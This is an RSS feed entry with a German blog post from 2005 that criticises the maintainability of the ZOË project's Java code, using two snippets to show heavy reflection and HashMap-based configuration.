Best of schlechtem Code und schlechtem Codestyle:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;eine .jar einbinden und dann im eigenen Projekt neue, eigene Klassen im Namespace des Jars erstellen&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;String-Konstanten einfach im Code schreiben&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;reger Gebrauch von Reflektion&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;um weniger Variablen zu haben - einfach alle Properties in einer HashMap per String-Konstante im Code speichern&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
Ein schönes Beispiel:&lt;br /&gt;
eine SZTable ist dafür da, eine Collection als Tabelle im Webbrowser darzustellen, Code zur Erzeugung einer solchen SZTable sieht so aus:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;protected&amp;#160;SZComponent&amp;#160;trustedCertificatesComponent&amp;#40;&amp;#41;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;{&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;Map&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;someBindings&amp;#160;=&amp;#160;new&amp;#160;HashMap&amp;#40;&amp;#41;;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;someBindings.put&amp;#40;&amp;#160;&quot;list&quot;,&amp;#160;this.trustedCertificates&amp;#40;&amp;#41;&amp;#160;&amp;#41;;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;someBindings.put&amp;#40;&amp;#160;&quot;keysDescription&quot;,&amp;#160;&quot;SubjectDN|NotAfter|SerialNumber&quot;&amp;#160;&amp;#41;;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;someBindings.put&amp;#40;&amp;#160;&quot;headersDescription&quot;,&amp;#160;&quot;Subject|Expires|ID&quot;&amp;#160;&amp;#41;;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;someBindings.put&amp;#40;&amp;#160;&quot;delegate&quot;,&amp;#160;this&amp;#160;&amp;#41;;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;SZComponent&amp;#160;aComponent&amp;#160;=&amp;#160;new&amp;#160;SZTable&amp;#40;&amp;#160;this.context&amp;#40;&amp;#41;,&amp;#160;this,&amp;#160;someBindings&amp;#160;&amp;#41;;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;return&amp;#160;aComponent;&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;}&lt;/div&gt;&lt;br /&gt;
 &lt;br /&gt;
mehr nicht! Die Elemente sind in der Collection this.trustedCertificates() - die Frage ist jetzt nur, wie werden die Elemente angezeigt?&lt;br /&gt;
über &quot;keysDescription&quot; gibt der Programmierer an, welche Attribute der Objekte in &quot;list&quot; angezeigt werden wollen.. SZTable ruft also dann per Reflection z.B. getSubjectDN, getNotAfter oder getSerialNumber auf! Da freut man sich richtig wenn sich mal was an den Klassen ändert &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Gleichzeitig erkennt man an dem Beispiel, dass SZTable für wichtige Attribute keine eigenen Accessoren hat, sondern alles über eine HashMap übergeben wird..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
btw: für die Verlinkung eines Elements (also ein a href=&quot;...&quot;) braucht es ca. 10 Zeilen Code:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;		if&amp;#160;&amp;#40;&amp;#160;&amp;#40;&amp;#160;anObject&amp;#160;instanceof&amp;#160;SZRegistryInfo&amp;#160;&amp;#41;&amp;#160;==&amp;#160;true&amp;#160;&amp;#41;&lt;br /&gt;
		{&lt;br /&gt;
			if&amp;#160;&amp;#40;&amp;#160;aKey.equals&amp;#40;&amp;#160;&quot;registryName&quot;&amp;#160;&amp;#41;&amp;#160;==&amp;#160;true&amp;#160;&amp;#41;&lt;br /&gt;
			{&amp;#160;&lt;br /&gt;
				String	anID&amp;#160;=&amp;#160;&amp;#40;&amp;#160;&amp;#40;&amp;#160;SZRegistryInfo&amp;#160;&amp;#41;&amp;#160;anObject&amp;#160;&amp;#41;.registryID&amp;#40;&amp;#41;;				&lt;br /&gt;
				if&amp;#160;&amp;#40;&amp;#160;anID.equalsIgnoreCase&amp;#40;&amp;#160;&quot;authentication&quot;&amp;#160;&amp;#41;&amp;#160;==&amp;#160;true&amp;#160;&amp;#41;&lt;br /&gt;
				{&lt;br /&gt;
					String	aPath&amp;#160;=&amp;#160;AuthenticationService.pathForObject&amp;#40;&amp;#160;this.value&amp;#40;&amp;#41;,&amp;#160;this.context&amp;#40;&amp;#41;&amp;#160;&amp;#41;;				&lt;br /&gt;
					return&amp;#160;aPath;&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Also Finger weg von ZOË - der Programmierer mag zwar mit dem Code umgehen können und teilweise geniale Code-Abschnitte programmiert haben, aber für andere Programmierer kaum wart- und erweiterbar. Schade eigentlich da das Programm auf einer guten Idee basiert.  
    </content:encoded>

    <pubDate>Mon, 03 Oct 2005 15:52:03 +0200</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2005/10/03/125</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Studium</category>

</item>

</channel>
</rss>